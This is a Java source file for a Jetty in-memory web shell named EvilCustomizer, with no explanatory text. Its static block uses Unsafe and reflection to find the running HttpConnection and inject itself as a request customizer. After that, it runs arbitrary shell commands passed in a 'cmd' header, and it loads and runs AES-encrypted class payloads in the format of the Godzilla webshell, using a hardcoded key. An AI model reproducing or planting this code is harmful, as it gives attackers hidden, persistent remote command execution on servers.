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| package com.boogipop.memshell;
import org.eclipse.jetty.server.*;
import sun.misc.Unsafe;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.ref.Reference;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Map;
import java.util.Scanner;
public class EvilCustomizer implements HttpConfiguration.Customizer {
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
Class payload;
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public EvilCustomizer() {
System.out.println(1);
}
public EvilCustomizer(int s) {
System.out.println(2);
}
static {
try {
HttpConnection valueField = getValueField();
valueField.getHttpChannel().getHttpConfiguration().addCustomizer(new EvilCustomizer(1));
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
unsafe.setAccessible(true);
sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null);
return theunsafe;
}
private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
Unsafe unsafe = getUnsafe();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsfiled = threadGroup.getClass().getDeclaredField("threads");
Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled));
for(int i=0;i<threads.length;i++) {
try {
Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals");
Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF));
Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table")));
for(int j=0;j<table.length;j++){
try {
Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){
return (HttpConnection)value;
}
}
catch (Exception e){
}
}
} catch (Exception e) {
}
}
return null;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
@Override
public void customize(Connector connector, HttpConfiguration httpConfiguration, Request request) {
try {
if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next();
PrintWriter writer = request.getResponse().getWriter();
writer.println(result);
writer.flush();
}
}
else if (request.getHeader("x-client-data").equalsIgnoreCase("godzilla")) {
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (payload == null) {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
PrintWriter writer = request.getResponse().getWriter();
writer.write(md5.substring(0, 16));
f.toString();
writer.write(base64Encode(x(arrOut.toByteArray(), true)));
writer.write(md5.substring(16));
writer.flush();
}
}
} catch (Exception e) {
}
}
}
|
